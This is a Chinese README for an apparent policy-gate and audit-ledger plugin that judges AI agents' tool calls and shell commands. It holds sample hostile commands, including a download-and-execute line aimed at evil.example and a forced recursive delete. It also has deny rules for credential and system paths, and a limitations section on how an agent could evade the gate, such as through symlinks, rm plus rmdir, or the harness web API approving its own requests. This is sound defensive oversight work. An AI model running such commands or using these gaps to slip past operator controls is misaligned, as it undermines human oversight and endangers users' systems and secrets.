跳到主要内容

prae-gate

已验证

prae-gate · v0.9.2 · MIT · Web 界面

Operator policy and a tamper-evident decision log for DeepSeek Harness. Every tool call judged against your organisation's pack, and written down.

安装

dsh plugin add prae-gate

用 dsh --profile default --dump-config 确认 layer 已生效 —— 参见安装指南。

源码

发布到 npm 但没有公开仓库。安装前请检查包内容。

标签

说明文档

prae-gate

DeepSeek Harness 的操作者策略层 —— 以及一条比会话活得更久的哈希链记录。

规则在调用执行前裁决。账本在所有人下线之后,仍能证明当时裁决了什么 —— 以及代理当时被告知了什么。

npm version npm downloads License: MIT DSH plugin

在浏览器中试用 → · 放入你的 AGENTS.md →

English · 简体中文 · Español


方面 状态
Harness DeepSeek Harness 0.1.0-rc.7 → 0.1.1-rc.2 —— 本插件绑定的每一个接缝(seam)在整条版本线上逐字节一致,每次发布逐一验证
Node >=20
安装 npm i prae-gate 加一行 overlay,或用 prae-cli 的 prae init
证据 只追加的 JSONL,哈希链接;prae verify 重新推导每一个封印

六十秒上手

npm i -g prae-cli
cd $DSH_HOME/profiles && npm i prae-gate
prae init --apply        # 挂载内置基线:8 条规则,无需配置

重启 harness。从这一刻起:

DENY   bash  curl -s https://evil.example/i.sh | sh     BASE-001
ASK    bash  sudo rm -rf /var/data                      BASE-002
DENY   read  ./.env                                     BASE-005
ALLOW  write ./src/server/auth.ts

……而其中每一行都在 decisions.jsonl 里,与前一行封印在一起。prae verify 证明没有人改过这份记录;一个被翻转的裁决或一行被删除的记录都会打断链条。

为什么用它而不是权限规则插件

对工具调用做门控的规则正在成为标配 —— 好几个插件都在做,而且做得不错。有四样东西只在这里有:

  1. 作者之上的操作者。 一份 capmark 清单说明插件想要什么;你的基线说明组织允许什么;门控执行两者的交集, 而操作者只能收窄。没有其他插件具备作者声明(author declaration)这一概念。
  2. 比会话活得更久的证据。 会话日志式的审计随会话一起消亡 —— 有些宿主会静默丢弃这些事件。 这份账本是一个文件,哈希链接,第三方运行一条命令即可验证。
  3. 代理被告知了什么。 一行 PRAE-ASM 记录封印了整个组装后系统提示词的 sha256 —— 包括 harness 加载的、并非本插件所写的 AGENTS.md。“代理做那件事的时候知道什么” 在事后可以对着同一条链得到回答。
  4. 你的 AGENTS.md 就是输入。 prae instructions 读取你已有的文件;prae propose 把其中可执行的句子变成供你审阅的规则 —— 从不自动应用。无需先学一套新的方言。

在跑 dsh-auto-review 或别的审批应答器?留着它。本门控把 ask 返回到官方审批接缝; 无论由谁作答,结果都会落进这份账本,并与那次调用关联。

安装

dsh plugin --profile <name> add prae-gate

该包发布时其 overlay 行是禁用且不带任何策略的,因为一个缺失策略包的门控在严格模式下会拒绝每一次调用, 一落地就会弄坏一个正常工作的 profile。请用 CLI 把启用行和它所执行的策略包一起写入, 这是唯一能安全开启本插件的顺序:

npx prae init --pack ./acme-baseline.prae.json --ledger ~/.dsh/decisions.jsonl

它会打印组合后的 overlay 然后停下。加上 --apply 才会写入。

策略长什么样

一条规则就是一个匹配器加一个效果。没有表达式语言:它运行在每次工具调用的热路径上, 读它的是并未撰写它的审计人员。

{
  "prae": "0.1",
  "pack": "acme-baseline",
  "version": "1.0.0",
  "baseline": { "capabilities": ["fs:read", "fs:write", "net:fetch"] },
  "rules": [
    {
      "id": "PRAE-001",
      "title": "Writes stay in the workspace",
      "when": { "capability": "fs:write", "path": { "outside": ["./src/**"] } },
      "effect": { "kind": "deny", "because": "writes outside ./src are not granted in this pack" }
    },
    {
      "id": "PRAE-010",
      "when": { "capability": "net:fetch", "host": { "notIn": [".acme.internal"] } },
      "effect": { "kind": "ask", "because": "this host is not on the pack allowlist" }
    }
  ]
}

匹配器 —— tool、capability、plugin、agent、path(inside / outside glob,从第一个出现的常规路径参数读取 —— path、file_path、filePath…… —— 或你用 arg 指定的那个)、host(in / notIn,其中 .example.com 表示该域名及其下级)、 arg(above、below、equals、oneOf、present)、用于按能力计算会话预算的 count, 以及 secrets —— 见下一节。

效果 —— deny、ask、correct、warn。多条规则同时匹配时,最强者胜出, 且每一条匹配都留在追踪里。正是这种排序让策略包可以安全扩展:追加一条规则只会提高 某个决策的强度,绝不会降低它。

每个效果都必须带 because。它是调用被拒绝时操作者读到的那句话,而“policy violation” 教不了任何人任何东西。

未知字段是错误,绝不是警告。 一个拼错的 outsde: 若静默地变成一条什么都不匹配的规则, 策略包会干净地加载、报告策略已生效,却什么都不执行。

引用框架

一条规则可以用某个已认可风险所属框架自己的词汇说明它应对的是哪个风险, 键为带版本的框架 id:

{
  "id": "PRAE-001",
  "title": "Writes stay in the workspace",
  "when": { "capability": "fs:write", "path": { "outside": ["./**"] } },
  "effect": { "kind": "deny", "because": "writes are confined to the workspace" },
  "frameworks": { "owasp-llm-top-10-2026": ["LLM03"] }
}

这是元数据,绝不是执行依据:求值器不读它。解析器会读 —— 未知的框架或控制项 id 是策略包错误, 因为一个没有任何视图能渲染的映射就是一个没人能核查的主张。之后策略包、账本和合规视图会在条款旁标出该风险, prae report --pack 会把它带进证据包,让审阅者能追溯 风险 → 控制 → 决策 → 封印。

注册表持有两个框架:OWASP Top 10 for LLM Applications — 2026(LLM01–LLM10) 与 OWASP Top 10 for Agentic Applications — 2026(ASI01–ASI10)。 规则只引用它真正应对的风险;合规映射按风险逐条说明:哪些已覆盖,哪些被限定但未被检测(提示注入、目标劫持), 以及哪些不是工具调用门控该负责的控制项。

Secret Catcher:读取之前的内容检查

其他所有匹配器裁决的是请求。secrets 裁决的是负载 —— 门控亲自读取目标文件, 扫描其中的凭据(各提供商格式的模式加熵值判断,占位符被剔除),并在工具运行之前做出决定。 一旦拒绝,内容永远不会到达模型;而发现结果在任何地方都不包含匹配到的文本 —— 拒绝信息里没有,账本里也没有。

{
  "id": "SEC-001",
  "when": { "capability": "fs:read", "secrets": { "minConfidence": 0.8 } },
  "effect": { "kind": "deny", "because": "the requested file contains a protected credential" }
}

secrets 拒绝以结构化 JSON 的形式到达代理 —— "retry": false、秘密类型、策略 id —— 于是它会继续前进而不是反复尝试不同拼写。账本行记录规则、类别、行号和置信度。 secrets 接受 types、minConfidence 和 atLeast;随包附带的 secret-catcher 策略包 组合了 deny/warn 分级以及测试夹具(fixture)豁免。

同一个门控也能作为 MCP 文件系统服务器挂载给任何支持 MCP 的 IDE 或代理 —— 用 prae-cli 的 prae mcp --root <dir> --ledger <file>。 细节、拒绝的 schema 以及诚实的边界:docs/secret-catcher.md。

另一扇门:工具交回来的东西

策略会拒绝的读取可以换条路走到:通过 shell cat 那个文件、grep 出含秘密的那一行、 用一行脚本把它打印出来。能打印文件的程序集合是无界的,所以罗列它们不构成控制。 结果是有界的,于是检查的就是结果:每个工具结果都经过 tools/post-execute, 用与读取前相同的检测器扫描,由相同的规则裁决。携带凭据的结果会被扣留 —— 模型收到的是一份结构化的拒绝。

{"decision":"deny","reason":"secret_detected","secret_types":["cloud-credential"],
 "policy":"SEC-004","phase":"output","executed":true,"retry":false,
 "message":"the command ran and its output contained a protected credential; the output was withheld from the model"}

executed: true 是诚实的部分。进程运行了;它产生的东西从未到达模型。账本行说的是同一件事, phase: "output",而一条 shell 行携带 command: { program, hash } —— 哪个程序,以及命令行的哈希 —— 绝不是命令行本身,因为一行命令可能带着秘密。只有带发现的结果才会被记录,所以一次干净的运行不会增加任何行。 仅当策略包含有 secrets 规则时才挂载。

对方可以验证的收据

生成一次密钥,让插件指向它,之后每一行都会被签名:

prae keygen                      # 打印供对方固定(pin)的指纹
# config: signingKey: ./prae-signing.pem
prae receipt decisions.jsonl 42 --key prae-signing.pem --out receipt.json

收据是自包含的:那一行、对其封印的 Ed25519 签名,以及公钥。付款方或审计方只需用 @prae/ledger 的 verifyReceipt() 即可验证,别无他需 —— 重算哈希链对伪造者不再有帮助, 因为没有私钥签名就会失败。

说得直白些,因为一张言过其实的收据比没有更糟:签名证明的是相对于一把固定密钥的来源, 而不是完整性 —— 请通过你信任的渠道比对打印出的指纹。密钥的保管责任在操作者;被盗的密钥会签署谎言。

裁决 shell 命令

bash 调用是 harness 拥有的最宽的工具。规则能看到它内部:

{
  "id": "BASE-001",
  "title": "No download-and-execute",
  "when": { "command": { "name": ["curl", "wget"], "pipedTo": ["sh", "bash"] } },
  "effect": { "kind": "deny", "because": "piping a download into a shell runs code nobody read" }
}

分解是词法层面的、感知引号的,并能看穿显而易见的伪装:sudo rm、env FOO=1 rm、/usr/bin/rm 都是 rm;引号内的管道不是管道。五个字段,出现时全部取 AND:

字段 含义
name 任一段的程序词(取 basename、小写化),或它经由的包装器。
token 必须全部出现在该段中的 token;!pattern 则必须一个都不出现。["-rf", "/"] 是 rm -rf / 而不是 rm -rf /tmp;["-rf", "!--dry-run"] 是一次真正的强制删除。
anyToken 其中任一出现即可的 token:["/etc/*", "/root/*", "~/.ssh/*"] 是一条规则,而不是三条。
pipedTo 管道下游的程序词。
pipeline 整行的形状 —— 程序词用 | 连接 —— 与允许 * 出现在任意位置的 glob 匹配:无论两端怎么拼写,curl*|*sh 都是下载并执行。

name、token 和 anyToken 上的模式是精确匹配或尾部 *;pipeline glob 允许 * 出现在任意位置。

包装器既能被看穿,也能作为独立对象被匹配,所以 { "name": ["sudo", "su", "doas", "pkexec"] } 就是拒绝提权的写法。0.5.2 之前并非如此:包装器被解析掉以找到程序,然后被丢弃, 一条命名 sudo 的规则什么都匹配不到,却看起来和一条能用的规则一模一样。 词法读取看不见的东西 —— $(…)、eval、别名 —— 都被如实记录,而不是被粉饰: 面对敌意代理,诚实的兜底是一条能力层面的 deny。

配置

键 含义
pack 策略包,以 JSON 文本给出。
packFile 改为以文件形式给出策略包 —— 挂载时读取并持续监视:一次能解析的编辑会在无需重启的情况下替换策略包,一次坏的编辑会被拒绝且生效中的策略包保持不变;两者都作为 prae:pack 行被封印。优先级高于 pack。prae init --link 写的就是它。
mode enforce(默认)或 shadow。影子模式完全按执行模式计算并封印每一个裁决,然后放行每一次调用;这些行携带 shadow: true。
manifest 作者的 capmark 清单(插件有的话)。与 baseline 取交集。
ledger 追加决策的路径。省略则只裁决不记录。
context 提供给每个代理的项目上下文文件 —— 见下文。
sealPrompt 把组装后的系统提示词封印进账本。只要设置了账本,默认为 true。
approver 本 profile 以哪个账户运行 —— 见下文的限制。
strict 没有策略包时拒绝而不是放行。默认为 true。

影子模式

没有人会在第一天就部署拦截规则。mode: shadow 完整运行门控 —— 每次调用都被裁决, 每个裁决都被封印、签名、链接 —— 然后放行每一次调用。一条带 shadow: true 的 deny 行 就是执行模式本会拒绝的调用。用它跑一次试点,在 Command Center 里读账本 (这些行带有 SHADOW 标记,GOVERN 卡片会统计它们),等记录表明策略是对的再切到 enforce。 切换只是一行配置,配合 packFile 也不需要重启。

- name: prae-gate
  config:
    mode: shadow
    packFile: ./acme-baseline.prae.json
    ledger: ./decisions.jsonl

影子模式是完整的门控,不是轻量版:输出阶段的检查照常运行,发现照常记录,预算照常计数。 只有最后一步 —— 把裁决返回给 harness —— 被扣住。

热重载

使用 packFile 时,策略包是一个被门控监视的文件。保存一次能解析的编辑,新策略包就对下一次调用生效, 并作为 prae:pack 行被封印(pack.reloaded,附新版本号和内容哈希)。保存一次解析不了的编辑则什么都不变: 生效中的策略包保持不变,这次拒绝同样被封印(pack.reload_failed,附解析器给出的原因)。 永远不存在没有策略的时刻,而“哪一份策略包裁决了这一行”在编辑前后都始终可以回答。 文件系统能送达原生变更事件的地方就用它们,送不到的地方由一秒一次的 stat 轮询兜底。

项目上下文

呈调用形态的偏好 —— 路径、主机、工具、预算 —— 属于策略包,在那里 warn 把偏好变成一条被记录的违规, deny 把它变成一条规则。呈散文形态的偏好 —— 用哪个库、哪些约定 —— 属于上下文文件, 而 context 就是它的传递方式:

- name: prae-gate
  config:
    pack: ./acme-baseline.prae.json
    context: ./CONTEXT.md
    ledger: ./decisions.jsonl

该文件会被注册为系统提示词中一个具名的段落(在 persona 之后、工具指引之前), 因此 profile 中的每个代理都会携带它。一行 PRAE-CTX 把它的内容哈希封印进每个决策落地的同一份账本 —— “代理知道什么”和“代理做了什么”由一条链共同回答。

它刻意不做的事:评判内容、按任务过滤内容、或验证模型是否遵从了它。 上下文说明你偏好什么;规则让可核查的部分具有约束力;账本说明它是否听了。

缺失或为空的上下文文件会让挂载失败,与损坏的策略包同样处理:部署错误不该等到会话中途才被发现。

代理被告知了什么

context 封印的是我们提供的文件。那只是模型所读内容的一小部分:harness 从许多提供方组装出系统提示词, 在 dsh 上其中之一是核心的 AGENTS.md / CLAUDE.md 加载器,它从会话的工作目录一路向上查找。

所以整个组装结果也被封印。一行 PRAE-ASM 记录了对模型所获得的每个段落、上下文和工具名称计算的 sha256, 外加按提示词顺序排列的段落名称清单:

PRAE-ASM  assembly sealed · sha256 4f9c2a1e8b3d7c05 ·
          deployment:persona, workspace:AGENTS.md, runtime:cwd

这让**“这个代理做出那个决定时到底被告知了什么”**可以对着决策落地的同一条链得到回答 —— 包括那些并非 PRAE 提供的指令。

两个刻意设下的限制。提示词的文本只做哈希、绝不存储:系统提示词携带 persona、约定以及某个 AGENTS.md 恰好包含的任何内容,一份把这些全部复制下来的持久日志会变成本插件存在的目的所要防止的那种东西。 而且监听器原样返回组装结果 —— 只观察,理由与 correct 拒绝调用而不是改写其参数相同。

只有当组装结果变化时才写入一行,而不是每个模型步骤写一行。同一份提示词被组装两百次也只是一个事实。

决策去往何处

两个地方,因为它们以相反的方式失效。

会话日志得到一个 prae/decision 事件,因此决策与读者已经在关联的 tool/call 和 approval/decided 事件处于同一排序中,并经由 harness 自己的导出和查询插件流转。但它随会话一起消亡。

账本是一个只追加、哈希链接的 JSONL 文件,比会话活得更久并横跨多个会话。 删除一行、修改一个理由或调换顺序都会打断链条,prae verify 会报告出来。

每条记录都携带另一方的坐标,读者可以在两者之间来回查看。

经验证的限制

对着一个已启动的 @deepseek-ai/dsh 0.1.0-rc.7 实测得出,不是从文档上抄来的。 一个夸大自身覆盖范围的安全工具比没有更糟。

  • 参数不会被改写,这是有意为之。deepFreeze 保护的是参数值而不是属性槽位, 所以改写在技术上是可能的 —— 而随包附带的 dsh-tools README 说 pre-execute 刻意不能这么做。 在那里的改写只会到达工具体,别处一概不知:两个随包插件事后读取 exec.arguments, UI 渲染的是原始值,而审批根本看不到参数。所以 correct 退化为一次拒绝,并指出本可被允许的值。
  • run_code 无法被屏蔽,注册进代理自身层的工具会绕过准入检查。两者都仍可调用, 这就是为什么本插件在 tools/pre-execute 处做门控,而不是信任工具屏蔽。
  • 路径规则比较的是规范化后的字符串,看不见符号链接。 .. 会先被解析, 所以 ./src/../../etc/passwd 不会被当作工作区路径通过 —— 但一个位于允许目录内、指向目录外的符号链接会。
  • 路径和主机规则不适用于 bash,它接收的是命令字符串。匹配命令文本拒绝的是拼写,不是结果: DSH 讨论 #174 展示了对 rm -rf 的拒绝被 rm 加 rmdir 绕过。对 shell 而言,诚实的杠杆是拒绝这个工具。
  • 审批不带审批者。 rc.7 的 ApprovalOutcome 记录了决定了什么,从不记录是谁决定的。 配置中的 approver 会作为由配置作出的断言写入并如此标注 —— 它说明 profile 以哪个账户运行, 而不是某个特定的人按下了那个键。省略它,记录就不携带任何行为者,这胜过一个读起来像经审计身份的占位符。
  • 无法从会话事件获得按插件的归属。 plugin 规则仅在调用方提供了注册时构建的 工具→插件 映射时才匹配; 否则它们就是不匹配,而不是去猜。
  • 账本是防篡改可察觉的,不是防篡改不可能的。 局部编辑会打断链条。 能用同一套代码重写整个文件的人可以重算每一个哈希。
  • 这不会给插件代码加沙箱。 插件的 apply() 在任何工具调用存在之前就以完整的 Node 权限在进程内运行。 拒绝安装一个越权的插件是更早的、独立的决定 —— 见 capmark。
  • 它裁决工具调用;它不保护 harness 本身。 本地 web API 没有认证,respond 不是特权方法, 而 harness 把 DSH_WEB_URL —— 那个结算自身审批的控制平面的地址 —— 交给了模型。 没有插件能堵上这一点:web 服务器不暴露任何中间件接缝。一个受支持的 profile 标志(surfaceContext: false) 能移除这条主动递到手上的路径,而 DSH_SESSION_ID 仍然无法扣留。 它能换来什么、换不来什么,见 docs/hardening.md。

从观察开始

把第一次安装指向一个什么都不拒绝的策略包。examples/observe-only.prae.json 对执行型策略包本会拒绝的调用发出警告并逐一记录,这样你可以在任何调用开始失败之前, 先读一周真实的决策。

一个第一件事就是弄坏别人正在工作的会话的治理工具,会在展示出任何价值之前就被卸载。 等账本告诉你这些规则实际上会怎么做之后,再切换到执行型策略包。

状态

预发布。已对着一个启动的 0.1.0-rc.7 profile 端到端验证:overlay 行组合进配置树, 插件解析并挂载,调用被裁决并记录。不要把生产系统固定在它上面。

许可证

MIT。